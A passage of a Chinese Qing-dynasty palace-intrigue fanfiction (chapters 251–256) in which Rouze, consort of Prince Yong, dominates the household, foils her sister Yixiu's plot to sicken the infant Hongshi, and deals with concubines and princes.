胤禛的意志是很坚定的,可以说皇室的人就没有心思简单之人。所以柔则那半吊子的催眠术很少用正经的路子使用。 一来是为了避免这些满身心眼子的人的疑心,二来凡事太过也是缺点。 她这番绕口令似的话加了一点心理暗示,因着有些拗口,胤禛听的认真逐渐被洗脑。 “是,是我错了。你便原谅我这一次,我再不这般无理取闹了。” “他们素日里来,固然是有些小心思的,然咱们又不是傻的,凭他们闹去,你只信我便好 。” 柔则微微弯腰,一只手拉着胤禛的辫子迫使他仰起了头,另一只手捏着胤禛的下巴。 她的脚踩在胤禛的脚上用力踩了踩,长长的指甲在胤禛的下颚处捏出了痕迹。 轻微的痛感反而叫胤禛素了快十天的身子更加兴奋。 “只信你,我发誓。” 第251 章 柔则20 正院摆满了柔则的衣裳首饰,书房琴房和花房不能动,柔则便使唤着胤禛把后头的小院子一并给了她。 “毕竟是个小阿哥,小小的偏房住着多不痛快,收拾好了,说不得以后大有用处呢。” 柔则露出一点带着恶趣味的笑意,胤禛却极爱她这副样子。 “都依你,府里的事向来是你做主。这点小事你直接找乌雅管家就行。” 柔则瞥了他一眼没有说话,这男人缺点多归多,但对她还是不错的,她决定今日不阴阳他.......才怪。 “王爷,福晋,芳菲苑的小溪来报喜,苗侧福晋有一个半月的身孕了。” 胤禛下意识的看了一眼柔则,不出意料,没有得到关注。 “这是好事,头三个月叫她不用来请安了。叫府医三日一次的去瞧着。” 打发走了苏培盛,柔则不抬头的问道:“今儿这个妹妹叫,明儿那个妹妹喊,倒是难为爷,手心手背的,都是肉呢。” 胤禛知道这个时候说什么错什么,他看了眼柔则身边的云筝和月瑾,两人了然的退了出去。 这才抱着柔则的腿坐到她脚边:“哪里有别的妹妹,妾室哪里就能和宛宛论上姐妹了。我心里只有宛宛一个人。” 柔则抬脚踢了踢他的胸口:“只有我一个,你皇阿玛呢,你额娘呢,都没有吗?净哄我。” 胤禛笑着把那只乱动的脚捏在手里:“亲人是亲人,爱人是爱人,永远不会有人夺走宛宛这个位置。” 一根带着香气的手指推开了胤禛企图靠在自己腿上的脑袋。 “去吧,别说我不通情理。老实的,有孕的妾室,我还是很大度呢。” 至于不老实的怎么办?那就像宜修那么办咯。 胤禛又陪着柔则吃了饭,才到芳菲苑。 只是他前脚走,后脚齐格格就到了正院。 “福晋可是用了膳了?” 她拎着一个双层的食盒,脸上的笑意真诚。 柔则放下茶杯看了看齐格格:“今儿又带了什么来?” 齐格格尝试了多次攀附,企图和柔则产生心灵上的共鸣。不是念诗就是弹琴,她一个人比一个戏班子都要热闹。 “是玫瑰软糕,上次福晋不是说云片糕有些干,这次妾身又换了种做法,福晋尝尝,可还喜欢?” 柔则意味深长的笑了笑,齐格格前头就来的多,但这个月来的格外勤快。 “若是为着大格格,你便回去就是。” 泛着香甜气味的玫瑰软糕在桌子上摆着,齐格格的表情有一瞬间的停滞。 “福晋,妾身.......” 齐格格如今也三十有二,生育一事早就不抱希望。可她实在想有个孩子陪伴,这才起了别的心思。 前段时间宋格格平安生下一个七斤多的小格格,白嫩可爱,她瞧着就喜欢。 可宋格格平安,又有福晋的人手在侧,她只能歇了心思。 这几日宋格格感染风寒,小格格也被抱到了正院,这才想着试上一试。 “你这段时间的孝敬本福晋倒是喜欢,但做拐子,这事可不行。若是有格格侍妾生产时发生意外,这孩子也是由本福晋亲自教导,这是规矩,也是体统。 齐格格若是不得趣,便想着给自己寻些乐儿来。你瞧,苗侧福晋喜欢和甘格格一起放风筝。宋格格虽然不爱说话,但和婢女每日里绣绣花侍弄侍弄花草日子过的也轻快。 耿格格嗜酒,钮祜禄格格爱叶子牌,就连我那没用的庶妹都写得一手好字。 齐格格,你进府最久,一个能凑在一起说话的人都没有吗?一个自己的爱好都没有吗?一个能拿的出手的乐趣都没有吗?” 齐格格就像一个没断奶的孩子,不是去扒拉别人的‘玩具’,就是想着去抢不属于自己的东西,这怎么能行。 “妾身......闺中喜欢骑马,喜欢画画。” 齐格格进府后头几年满心是王爷,后头的日子又满心是孩子。弄的自己忘记了自己本来的样子。 “那就画去,得空了本福晋又不是不带你们出去散心,不过是骑马,倒是弄的雍亲王府是什么艰苦大狱了。” 齐月宾自然也听出了柔则的耐心告罄,她识趣的起身离开,再不说关于孩子的话。 这之后的日子,齐格格倒是取了几次颜料和画纸,府里的花园等地,都能看到她的身影。 “福晋,乌拉那拉侧福晋又来了。” 前段时间赶上康熙心情好,府里的大阿哥得了赐名,弘晖。 “现在知道着急了,早干什么去了?” 柔则正在换衣裳,今儿八福晋定了海味儿的席面,约了她和娘家的侄女芃婉一起。 云筝给柔则整理着身上的首饰:“早不是不甘心吗?和府里头的柳姨娘一样,总拿什么爱不爱的说事,也不知道这爱来爱去的,能不能吃饱饭。” 柔则笑着捏了把金瓜子塞到云筝手里:“你这嘴跟着月瑾学的越发伶俐了。” “嘿嘿,多谢主子赏。奴婢定再好好学学,叫侧福晋也知道知道厉害。” 月瑾把准备好的耳坠给柔则戴上,横了云筝一眼故作凶狠:“你少来抢我的活儿,打量着我好欺负吗?” 喜嬷嬷一把拉走两个人:“吵的好,今儿看来得是奴婢陪福晋出门了。她们两个啊,且吵着呢。” 不顾两人夸张的表情,喜嬷嬷扶着柔则坐上了马车。 至于宜修,不好意思,柔则忘了。 “侧福晋,福晋出门了,您先回去吧,等福晋回来了,您再来。” 宜修恨恨的看着眼前的月瑾,她刚来时明明听到里头嫡姐的笑声了。 可她没有底气,就连正院的一个奴才都能瞧不起她。 “既如此,那我就先回去了。” 打掉了牙也得吞到肚子里,谁叫她自个儿作死把弘晖送到了正院呢。 自上次见弘晖也有小半个月了,白白嫩嫩的孩子乖巧着睡着觉,虽然弘晖胖了也大了,但宜修仍旧坚定的认为柔则不会好好的养她的儿子。 可王爷不来,柔则又对后院的把控紧,她求诉无门,实在不知道该怎么办了。 “剪秋,大厨房可有咱们的人?” 剪秋点了点头:“只有一个打杂的小太监。” 宜修看了看远处的天儿:“一个就够了,若是弘晖病了,那就是嫡姐的失责,王爷应该就会把弘晖送回来吧?” 剪秋有些犹豫:“侧福晋,弘晖阿哥太小了,会不会......” 宜修红着眼看了剪秋一眼:“我难道不心疼晖儿吗?可晖儿越来越大,他已经不认识我了,若再不把晖儿接回来,晖儿认识的额娘,就只有柔则一人了。” 顿了顿,宜修重新整理了语气说道:“只是叫奶娘用一点点寒凉之物,不碍事的,不碍事的,我会照顾好晖儿的。” 她的声音越来越低,呢喃着几乎耳不可闻。 第252 章 柔则21 正是午膳的时辰,大厨房内烟火缭绕,到处都是摆着膳食的碗碟,各院的奴才在一旁等着。忙碌中,一个不起眼的太监凑近一盅汤品抖搂了两下袖子,而后把手里的纸扔进灶台。 “旺财?你在这儿做什么?!” 这汤盅的负责人不过是扭个脸的功夫,灶台前就站了个人。他立刻上报了管事,叫人把这小太监抓了起来。 “诶,奴才就是看看今日喝的肉汤,好预备着甜汤罢了,管事的,奴才真是厨房打杂的。” 这小太监在厨房的外围只负责烧火,从来没有接触过灶台这边的活计,自然也不知道柔则给直接接触膳食的人定下的规矩。 但凡是经手的菜品汤盅或点心,除却负责的师傅和帮厨,只要有第三个人靠近,抓起来交给管事即可。 几人连着这盅汤,也一并交给了府医。 “瞧瞧吧,你那侧福晋又闹腾起来了。” 柔则有时候也很佩服宜修这种折腾不止的精神,从前在乌拉那拉府里刻意观察着她的一举一动,如今在雍亲王府又时刻往她手里蹦。宜修对她是真爱吧! 胤禛不耐烦的看着底下的徐副管事。 “又怎么了?” 徐副管事把那个小太监堵着嘴带了上来,一五一十的把汤盅里被府医检查出来的黄豆粉和洋葱粉说了出来。 府医在一旁立着补充道:“倒也不是太过阴损的法子,只是大阿哥本就早产体弱。若是乳母的奶水中带了这些东西,便会叫肚子胀气甚至会导致腹泻。严重些,恐是会引起发热等症状。” 胤禛看了眼立在一旁的高无庸,高无庸会意上前,把堵在小太监嘴里的抹布拿了出来。 “奴才冤枉,王爷,奴才是被逼的。” 宜修没有了德妃的暗中相助,简直是不堪一击。 这小太监也不过是因为偷奸耍滑被上头的人嫌弃做了边角料,而宜修的银子也只够收买这种边角料。 其实觉罗氏给的嫁妆虽然是按照规制,但银钱也算是富裕。 只不过宜修是个抠门习惯的,日常里喜欢用节俭标榜自己。她在被赐婚胤禛后也有特意打听,外头对当时的四贝勒的评价是:沉稳务实,不务虚华。 这让宜修一度认为自己才是最了解,最适合胤禛的人。她所坚持的节俭,内敛,都是雍亲王最喜爱的品格。 就是因为太‘节俭’,买通的奴才连刑罚都不用上,立刻就能招供。 “谁指使的你?” 胤禛转动珠串的手指微微颤抖,显然内心已经有了猜想。 “是乌拉那拉侧福晋,是她叫奴才这么做的。” 小太监一股脑的把剪秋如何找到他,给了十两的银子在何处都说了出来。 胤禛闭着眼点了点头,高无庸便带人到了小太监的住处,翻找出了那十两银子。 “把侧福晋带来。” 心里头乱着,鼻尖却传来一阵香气。 “如何就把自己气成这个样子?” 是柔则。 胤禛突然觉得有些委屈。 他挥挥手,底下的奴才有眼色的都退了出去。 “就是想起来以前我刚回到永和宫的时候,额娘也不待见我。” 那时候的德妃的眼神胤禛到现在都记得,是冷漠又带着些扭曲的。虽然 她很快就变换了脸色,但小小的胤禛还是第一时间察觉到了额娘的不喜。 尤其是在十四弟到来的瞬间,那份不同的待遇具象化,他就像是一个旁观者,默默的站在一个融不进去的圈子,看着里头的母子二人亲热。 柔则点了点胤禛的额头:“有我喜欢还不够?她不喜欢你你就不喜欢她,何苦作贱自己。” 胤禛把脸埋到柔则怀里,瓮声瓮气的说道:“那不一样,她是额娘。” 因为没有得到过,胤禛格外执拗于此。 “额娘怎么了?世间亲缘情缘都有定数,你得不到的,未必不是上辈子得到了太多。说不得亲缘浅些,是为了等着我呢。” 胤禛突然笑了出来,宛宛安慰人的方式真是别具一格。 “宜修担不起侧福晋的职责,明儿我会写了折子上去,贬为格格。” 柔则点了点头,宜修改不了骨子里的自卑和阴暗,她痛恨生活在嫡姐的光环下,但又不接受自己的无能并非完全是身份带来的。 这样的人很难说用什么手段去收服,不如直接打落尘埃。 “王爷,福晋,乌拉那拉侧福晋到了。” 胤禛从柔则怀里抬起头,整理了一下自己的形象,板着脸叫了声“进来”。 柔则坐在右边的太师椅上,一只手撑着头,另一只手拨弄着刚从胤禛手里抢来的珠串,闲适的看着跪着的宜修。 “你可知叫你来是为了何事?” 宜修自入府就没有接手过中馈,零星安插的几个人手也在柔则正式接手雍亲王府后被收拾了个干净。再加上这次事甚至都算不上事发,宜修就更不知道缘由了。 “妾身不知。” 刚才胤禛脆弱了一下把下人打发出去,高无庸怕里头两位主子说什么悄悄话,把府医和徐副管事几个人带离了一段距离,这就导致宜修没有能正确分析局面的因素。 胤禛点了点桌子,高无庸带着人走了进来。 看见那个小太监,宜修其实并不眼熟,因为所有对接的事情都是剪秋负责。 所以剪秋的表情要比宜修的反应大。 宜修被剪秋的手碰了一下,还有什么不懂呢。 “看来你这奴才倒是知道的清楚。” 两人的小动作没有瞒过胤禛的眼睛,他突然就什么都不想问了。 “府里的孩子,交给嫡母养育是好事。你不会以为你一个被妾室教养长大的庶女,能给大阿哥更好的教养吧?” 原本胤禛也只是想着叫这些庶子庶女都叫宛宛带上一带。即便宛宛不想有亲子,这些孩子有个面子情就好,有孝道压着,宛宛的地位和尊贵就不会有错漏。 况且清醒如宋格格等人都是知晓这其中的好处的,大家只会赞同,哪里会像宜修一般,使劲儿的给孩子扯后腿呢? 宜修只觉得扎心,她虽不如嫡姐貌美,但自问也不差,弘晖在她身边,日日听书,怎会不比嫡姐只用玩具哄着有出息呢? 宜修的表情不服气,胤禛看的分明。 “即日起,贬乌拉那拉侧福晋为格格,迁去蒲阳阁住着。身边伺候的人,杖毙。” 即使没有得手,宜修的目的也是残害皇嗣,府里头有皇阿玛的人,胤禛不可能不重罚。 说完,胤禛拉着柔则的手就要回内室去。 柔则却摇了摇头,示意胤禛先回去。 “姐姐可是满意了?” 宜修仰着脸,红肿的双眼满是恨意 。 柔则却轻笑一声:“有何满不满意?只要我想,今后府里的阿哥我哪个都能抚养。但是你,我的好妹妹,认不清自己的地位的感觉如何? 我早就说过,妾室,就是本福晋身边的一条狗,你乖乖的,不咬人不乱叫的不好吗?你瞧大格格,有我这个嫡母的一句话,过的金尊玉贵,宋格格在旁看着,多有滋味啊。 宜修啊宜修,你这一辈子都在贪图不属于你的东西,属于你的,又被你利用到失去,呵呵,你可真失败啊。” 宜修梗着脖子,被那声轻笑刺激的咬牙。 “什么叫不属于我的,我为何不能争?” 柔则没有弯腰,居高临下的看着宜修那垂死挣扎之态。 “做妾室的呢,最重要的一点就是认命,你若是争的来,那便不叫不属于你的东西了。” 本意只是想抱来弘晖玩儿两天刺激一下宜修,谁能想到这个当娘的居然忍心叫不满百日的孩子拉肚子。 柔则改变主意了,宜修得活着,活着看着弘晖日日甜甜的追在她身后喊她额娘的样子,那一定有意思极了。 第253 章 柔则22 请封不容易贬斥简单,一个折子上去,乌拉那拉宜修便从上了玉牒的侧福晋,变成了一个被幽禁在偏僻院落的格格。 雍亲王府大阿哥也上了嫡福晋柔则的玉牒,苦没有吃了一点,得了个大胖儿子,柔则一改对弘晖有些懒散的态度,把大胖儿子搂着玩了一会儿。 “福晋,苗侧福晋来了。” 弘晖正咧着嘴哄柔则呢,云筝进来小声的报了一句。 “走吧,看看这憨货又怎么了。” 说苗侧福晋是憨货一点都没有冤枉了她。记吃不记打的典型,柔则越是不待见她,她反而日日都要凑上来。 甘格格是拦也拦了,劝也劝了。她们这位福晋虽算不得什么好人,但只要不犯到她头上,那日子过的是极为顺当。 偏她这好姐妹是个脑后长反骨的,偏要去露个面讨福晋两句骂,也不知道这是什么爱好。 “福晋,妾身跟十三爷家的乌苏侧福晋约了赏花宴。您给妾身弄些花儿来吧?要珍贵的,漂亮的!” 苗侧福晋月份小的时候跑去十三府上做客,如今月份大了,她心又野,只是到底顾及着肚子,便想在府里折腾。 她完全忘了上次回府因为耽搁了报备的时辰,被骂的狗血淋头的场面了。 “呵,给你弄些花儿?要不要本福晋拿你的脑袋种上花儿啊!” 苗侧福晋缩了缩脖子,不服气的低着头撇了撇嘴。 “算了算了,妾身又想了想,福晋您日理万机的忙的很,哪里有空做这些小事,妾身自己想办法,自己想办法。” 她是知道不能成的,但是若是不来说上这么一遭,她心里又不得劲。 柔则挥了挥手,示意苗侧福晋圆润的滚出去。 苗侧福晋倒是很熟悉这个手势,她起身行礼十分顺滑。 “那妾身就先告退了,福晋您记着批妾身一桌席面哦。” 柔则定的规矩虽然多些,但执行起来并不复杂,甚至还少了很多搅和不清的小官司,十分方便她掌控整个府上的局势。 打发走了苗侧福晋柔则也懒得回去休息了。 快到了年节,府里头的来往年礼,庄子铺子一年的收益盈缺,下人们的赏赐,宫里头要准备的礼节,给府里妾室裁制新衣,桩桩件件即便有些不亲自动手,也是要过目做到心中有数。 “今年年节弘晖也大些了,前儿个入宫额娘还惦记着瞧瞧这个大孙子呢。” 柔则的算盘晶莹剔透,拨弄着还要注意些力道,是胤禟送来的琉璃材质为主的小物件,柔则瞧着稀奇,便一直用着。 虽然胤禛很不满意,但他寻来的算盘除了金就是玉,都是常物,没有得了柔则的青眼。 他如今还在致力于用昆吾石打造小算牌,只是昆吾石实在坚硬,未曾成功。 喜嬷嬷一边帮着干活,一边脑子飞快的二用。 “咱们大阿哥被福晋养的胖乎乎的,德妃娘娘定是喜欢。” 柔则笑了笑,德妃喜不喜欢她不关心,但是她觉得太后应该喜欢。 “我记着额娘准备的嫁妆里有一块红狐皮子,正好给弘晖做个斗篷。” 红狐虽不算少见,但那块皮子的颜色十分鲜亮并且完整。只是小了些,做围脖有些可惜,就一直留着。 “正巧半月前咱们王爷得了皇上赏赐,那一整个的白虎皮还在库房里呢,福晋可要做个斗篷?” “做了吧,放着也是放着。” 柔则头也没抬,今儿还约了十三福晋喝茶,赶紧处理完手头的事,她要去休息了。 “怎么今儿十三弟不忙了?” 没想到兆佳氏带着胤祥一道过来,柔则还有些惊讶。 毕竟这段时间胤禛都忙成狗了,脑子里连黄色废料都吐干净倒床就睡。 “还不是四哥自个儿发火,弟弟可不敢凑上去。” 户部永远喊穷,胤禛一到这个时候就上火。 胤祥劝不动便躲了起来,反正他是个不管事的,与其一起被骂,还不如和福晋出来喝茶。 “那便一起歇一歇,今儿十三弟在也好,这里上了新供的松红梅的酒,咱们尝尝?” 兆佳氏也跃跃欲试的点了点头,她起身坐到了柔则身边,两个脑袋凑一起嘀嘀咕咕的说着什么,偶尔眼神扫向胤祥,叫他身上毛毛的。 总算知道八哥说福晋和四嫂凑一起时要躲远些是什么意思了。 可惜他已经跳入虎口,逃跑也是来不及了。 早知如此,还不如听四哥发火呢。 胤祥惆怅。 这种情况一直持续到两壶松红梅酒一滴不剩。 虽然并不算烈,但两人还是有些上头,红晕攀上脸颊,和柔则一拳距离的兆佳氏捧着柔则的脸痴痴笑了笑:“四嫂可真好看啊。” 柔则虽然也有些头晕,但精神还好。 她配合着把脸凑近兆佳氏面前,轻声道:“妹妹也好看。” 两人眼看着就要亲上去了,胤祥连忙上前拖住自家福晋。 可一不小心对上柔则那双含着雾气的眸子,心里头也慌了。 怪不得最近九哥和十四弟像入魔了一样,这搁谁身上谁受得了啊! 胤祥摇了摇头,抱着兆佳氏念叨:“福晋,咱们回吧福晋!” 再不回,他们两口子就完了呀! 兆佳氏不走,兆佳氏挣脱胤祥扑到柔则怀里。 胤祥又不能去拉柔则,只能自己干着急。 还好他的救兵四哥来了,这才叫他们两口子完好无损的回到自个儿府里。 但凡晚上一会儿,他这个福晋是不是还是十三福晋就不好说了。 今儿出门为着方便,柔则穿的是上衫下裙的衣裳,虽冬日里也有些笨重,但到底比旗装轻盈些。 外头下着雪,胤禛把柔则抱回到正院还未进门,就被柔则推了开。 “先进屋,外头冷。” 胤禛无比耐心的再次上前,温声哄着眼前的小红人。 柔则摇了摇头,把胤禛拉到正房后头那一小片盛开的腊梅林里。 她脚步有些虚浮,轻飘飘的迈起了舞步。 原身的技能可不能忘了,这明明是人家最爱的舞蹈! 胤禛阻拦不及,伸出的手被眼前的美景震惊的忘记了放下。 不过也只是半段,柔则便停了下来。 男人,不能喂太饱。 虽然胤禛 抓耳挠腮的想要看完,但柔则无辜的看着他道:“困了”。 他深吸口气,抱着人回去洗漱睡觉,人都是自己的,不急这一时半刻! 第254 章 柔则23 望江楼是九阿哥胤禟的私产,临着长河处,环境优美又善做野味,常常是一座难求。 “到底是我儿,这顶尖的包厢也是说定就定下了。” 柔则约了自家额娘在这儿吃饭,也就是和胤禟打个招呼的事,想来随时都有位置。 柔则由着云筝等人给她解下斗篷,腻歪在觉罗氏身边:“额娘想女儿没有?” 嫁了人到底不比在娘家自由,七八日能见上一面,母女俩天天心肝肉的喊着,不知道的还以为胤禛是个负心汉。 “想你这冤家做什么?” 觉罗氏刻意板着脸,但眼底的笑意还是没忍住倾泻而出。 “好了,你都多大了,还要腻歪着。” 说着,觉罗氏接过后头乌雅氏手里的盒子递了过去:“瞧瞧,额娘给你定做了一批玉簪,都是江南那边时兴的款式。” 凑近了闻着,柔则身上除了馥郁的玫瑰香膏的味道,还有一丝熟悉的息肌丸的气味。 这东西除了影响生育,倒都是好药材,想着已经记在自家女儿名下的大阿哥弘晖,觉罗氏不知道是喜是忧。 “额娘这是怎么了?跟女儿出来还心不在焉的,莫不是惦记着别人不成?” 刚发呆就被抓包的觉罗氏很尴尬。 “哪里有别人,只你一个额娘就够头疼的了。” 柔则‘啪’的一声把盒子盖住,伸着脸凑近觉罗氏面前:“额娘你再仔细瞧瞧女儿,女儿不信额娘这是心里话。” 这样一个宝贝凑在眼前,哪里能想的了旁的。 “哎哟,额娘也不信呢,咱们柔则怎么这么好。” 也不过是半个月没见,觉罗氏怎么觉得自家女儿又漂亮了呢! 母女俩嘻嘻哈哈的笑着,守门的苏培盛走了进来。 “福晋,九阿哥来了。” 柔则腻在觉罗氏身上的上半身微微坐直:“九弟来了?叫他进来坐坐吧。” 自上次见面过了也有月余,今日猛地一露面,柔则险些认不出。 “九弟?” 面前人眉目如画身姿修长,穿着一身珊瑚色的长袍,忽略那有些辣眼睛的发型来说,十分的养眼可以给八分。 “四嫂这是认不出弟弟了?” 胤禟面上不显,但心里要骄傲的打滚了。 上次四嫂实在太打击他脆弱的自尊心了,说他脸上的肉把眼睛挤的变丑了!变! 丑!了! 甚至他额娘还认同这个说法,胤禟可是被胤?那头熊似的玩意儿嘲笑了好久。 如今他不过是略施小计,这不就把四嫂给惊住了。 此刻吸引柔则的目光反倒不是重要的事情,炫耀,显摆,得瑟,才是胤禟的主要目的。 “士别三日,果然刮目相看啊!” 她就说宜妃那样一个美人儿,怎么能生出老九那么辣眼睛的胖子,果然,胖子都是潜力股这个说法是有依据的。 觉罗氏看着这叔嫂俩,心里头暗自提着口气。 她这女儿她心里头清楚,好颜色固然有吸引力,但权势享受才是她的第一选择。 比起亲王福晋 ,如今九阿哥这贝子的爵位显然是没什么价值的。 但九阿哥是不是过于......嗯,觉罗氏不好形容,总觉得胤禟现在像一只开了屏的公孔雀,漂亮是漂亮,就是有点不值钱。 “今儿不得空,九弟不如改日再来?” 没眼力见的男人,不知道人家跟额娘好不容易见一面吗? 再好看的男人出手没有二十根小金条的情况下,柔则也是懒得搭理超过十句话的。 胤禟这才注意到觉罗氏,他点点头算是打了招呼,自觉自己十分懂礼貌。 “后天弟弟做东,请四嫂吃一顿新鲜的。” 这望江楼还有新鲜的?柔则不信,每次来都是胤禟说的新鲜的。 “过几日就是除夕宴,九弟不忙?” 胤禛的双脚都要化身风火轮了,怎么胤禟这么悠闲。 胤禟突然愣了一下,他今日不是来盘账的吗?怎么忘了! “对对,四嫂提醒的是。那就过了年再说吧。” 打发走了胤禟,觉罗氏有些担忧的看着自家这个美的像天仙似的女儿。 “九阿哥看着没安什么好心眼子,你要当心。” 虽然没有明显的恶意,但觉罗氏觉得他们爱新觉罗氏的男人就没几个好东西。 柔则安抚的拍了拍觉罗氏的手:“不过就是和四爷的陈年旧怨,九阿哥还以为自己凑上来能把我家爷气死,却没想着女儿我也不是好利用的。” 觉罗氏笑着点了点头,这才对嘛,她女儿这个唯利是图的人哪里就能当了他们兄弟斗争的垫脚石。 胤禟对柔则的容貌倾心不假,但他也并非是耽于美色的人。皇家的阿哥,哪有因着一张芙蓉面就能做出违背利益的事呢。 不过是胤禟对胤禛的讨厌实在真诚,才想着利用这一点去恶心他罢了。 但柔则又不是那廉价的戏子,凭他随意使唤。 胤禟见上赶着不成,便试探着用利益打动。 一开始只是稀奇的首饰和西洋物件,慢慢演变成了私下里帮着照看了柔则嫁妆里的铺子。 这不前段时间柔则恢复爱搭不理的原状后,胤禟咬咬牙送了个铺面。 投入的越多,胤禟都不知道自己是为着找老四的麻烦,还是自己对柔则真的念念不忘了。 今年的除夕宴和往年没什么不同,柔则带着弘晖入宫收获了一大批的赏赐。 虽然是早产,孕期里也养的差些,但皇家最不缺的就是好东西,奶嬷嬷补的都要流鼻血了,弘晖的身子也日益强壮。 五福晋瞧着柔则心有所感,她凑到柔则面前小心的问道:“四嫂,这抱养的孩子,会不会养不熟啊?” 柔则瞥了她一眼,用指尖点了点五福晋的脑门:“傻子,亲生的也多的是白眼狼,这孩子啊,都是碰运气罢了。不过咱们自己立得住,就算是白眼狼,也得被孝道压着,不然你四嫂我豁出去到御史那儿哭上一道儿,谁也别想好过。” 五福晋若有所思的点了点头,目光扫向一旁的胤祺。 “是不是想着抱个侍妾的孩子?” 五福晋的胆子最多也就到这儿了,格格的她都不一定敢下手。 五福晋羞涩的点了点头,日子百无聊赖,有个孩子是好玩儿些。 “放心,只要孩子平安了,其余的都不是事。” 这话不假,五福晋认同的点了点头,再打量胤祺的视线就不是看自家爷们了,仿佛是在看圈养的配种猪崽。 第255 章 柔则24 过了年,京城的风还是冷的刺骨,为了叫自家福晋动弹动弹,胤禛请了两天假,带着柔则去了京郊的温泉庄子小住。 “苗侧福晋生产也就是这两日了,何苦跑来跑去的,麻烦。” 过年真的太累了,参加不完的宴席,走不完的人情,笑不完的场合,吃不饱的席面。 好容易消停了,柔则只想安安稳稳的在屋子里熏着香看着书,请了伶人唱个曲儿,至于玩儿老四,暂时没有什么精神。 胤禛知道怀中人是个能躺着就不坐着的性子,从马车上下来直接抱着人就往里走。 “这不是想着年里累着,叫你泡泡放松一下。左右这假也请了,人也到了,宛宛就当是陪陪为夫吧。” 胤禛也很无奈啊,这过个年都知道胤禟这个老小子重返青春了,天天舔着个脸往他福晋身边凑就算了,胤禟那个福晋也跟着凑,他们两口子是没有自己的事干吗? 不用自己下地,那也不是不行。 柔则的原则随着运动量的大小随时转换。 至于温泉这两日的具体行程,那就不方便在这里多说了,一个貌美如花的天仙,还有一个听话的修勾,能做些什么,不言而喻。 回到雍亲王府,屁股都没坐热,苗侧福晋那里就热闹了起来。 还没走到芳菲苑,那穿透力极强的叫喊声震的树上的雪都掉落下来。 这样绵长的气息,想来苗侧福晋有的是力气生产。 甘格格在外头拉磨似的转悠,看到柔则身影像是看到了救星一般。 “福晋,您劝劝苗侧福晋吧,她喊的接生嬷嬷都不敢靠近了。” 还以为想让好姐妹保存体力,实际自己不自觉的堵住耳朵企图逃脱噪音,这‘感天动地’的姐妹情。 柔则不耐烦的扶着喜嬷嬷的手快步走到内室,离着老远对上了苗侧福晋看过来的眼睛。 “你再这么大声的喊,本福晋就扒了你的皮。” 苗侧福晋刚刚张开的嘴不自觉的闭上,甚至吸气太多还打了个嗝。 接生嬷嬷终于结束了被声波攻击,赶紧凑上去继续干活。 柔则晃悠出去,自觉的窝在胤禛身边,指挥着苏培盛端茶上点心。 点心到底不是正餐,刚刚下了马车的两个人有些饿了。 “叫人弄两碗面来,总不能饿着自己。” 两口子吃了一碗面,又用了汤,这才精神了些。 甘格格在一旁看着额角的青筋都不自觉的跳动。这当家的男女主子瞧着都不靠谱,也不知道问问她饿不饿! “福晋,前儿个府医请平安脉的时候,说妾身有身孕,一月了。” 甘格格也不想这个时候爆出来,十分有抢自己好姐妹的风头的嫌疑。但是她饿啊!刚才这两人吃的也太香了吧! 柔则有些昏沉的脑袋骤然被惊醒,她看了眼闭目养神的胤禛,只好自己开口:“嗯,这是好事,你有了身子就先回去吧,正好这几日天寒路滑,便不用来请安了,坐稳了胎才是正经。” 胤禛就算再不济也是个正常男人,府里头有几个孕妇才是常态。 “多谢福晋,妾身还好,想等一等苗侧福晋。” 柔则点了点头,她刚才也不过是走个程序,苗甘二人关系一向好,这时候甘格格能放心回去歇着才怪。 “那你就坐着等,正好大厨房开了火,叫你的奴才去取些吃的来,双身子不能马虎。” 对于识趣的妾室,柔则还是有两分耐心的。 甘格格等的就是福晋这句话,她悄悄打量了一下一旁闭着眼的王爷,在心里翻了个白眼。男人就是靠不住,怀的不是你的孩子吗?一声不吭的,像个哑巴,傻子! 心里头骂痛快了,甘格格心平气和的吃着面条继续等。 月头高高挂起时,苗侧福晋的二阿哥出生。 是个五斤多些的闹腾宝宝,哭声和他额娘如出一辙的响亮。 府医在外头等着,把了脉笑盈盈的回禀:“王爷,福晋,二阿哥身体健康,好生养着就是了。” 散了一波赏赐,柔则打着哈欠准备回去睡觉。 至于表扬苗侧福晋的事,还是叫胤禛来吧。 这都是流程,胤禛等里头收拾干净迈步进去,还没张嘴,就看到已经累了一天的苗侧福晋睁着滴溜圆的眼睛朝外看着。 “瞧什么呢?” 怪不得能日日去宛宛那里讨骂,这精神头是好。 苗侧福晋看了眼胤禛:“王爷,福晋呢?” 胤禛:? “福晋回去了,你有事?” 苗侧福晋失望的叹了口气:“没事,王爷您也回去歇着吧。” 雍亲王府的喜事不断,宫里的康熙走到承乾宫,看着孝懿的画像坐了一会儿。 然后给胤禛赐了三个格格。 “皇阿玛也是很难猜了,这可真不关我的事。” 胤禛回府就直奔正院,举着自己新得的百花不露地怀表诚恳的表达了自己的不知情的事实。 “得了,三个格格,妾身还不至于跟爷置气。” 名单已经到了柔则的手里,老熟人李静言赫然在列。 要她说这次来的时节简直离谱,齐妃的设定竟然是没有见过柔则的。这都五十年了,李静言才入府,年世兰还得等上一年。这揉杂的小世界也是什么都能吃的下,多荒谬的乱炖都能叫它营养均衡。 “正好东边的锦玉院还空着,收拾收拾叫三个格格住着吧。有了孩子也不用挪动,宽敞。” 胤禛向来是不管这些的,他随意的点了点头,说了句‘都好’。 李静言是三位格格里最漂亮的一个,余下两位分别是陈氏和武氏。 三人都不是藏着小心思的,对有柔则这么个漂亮大气的福晋都很尊敬。 尤其是李静言,不会说话硬要往柔则身边凑,叫胤禛扒拉回去好几次。 府里头越来越热闹,蒲阳阁虽在角落,也有所耳闻。 宜修身边的人都被换掉,胤禛特意留下的两个人都是他的人手,宜修收买不得。 “外头怎么这么热闹?” 她跪在蒲团上,手里拿着一串佛珠。不知道是在祈祷还是在诅咒。 一旁贴身伺候的静心一板一眼的答到:“新格格入府,是热闹些。” 宜修轻笑了一下,她还以为嫡姐有多厉害,这不也一个格格接着一个格格的入府吗? 就算被关在这小院又怎么样,弘晖是她的儿子,只要她活着,就能有机会跟弘晖说清内情。 宜修抱着这个信念始终在坚持,但是从未想过,她能不能靠近弘晖。 第256 章 柔则25 李静言娇美,比高高在上的柔则更添了一分容易接近的气质,胤禛对其还是有些宠爱的。她又是个蠢笨憨直的性子,即便被柔则骂上两句也不恼,仍旧日日往正院去着。 “福晋,妾身这两日总是没胃口,胸口也闷闷的不舒服。” 李静言捂着胸口,可怜巴巴的瞅着柔则,一双水汪汪的眼睛像是讨食的狗狗,惹人怜爱。 柔则看了她一眼:“叫府医给你瞧瞧,莫要做这副样子,爷又不在这儿。” 瞥了眼桌子上的怀表,现在也刚八点,不舒服还撑着来服侍柔则洗漱,李静言真的很敬业了。 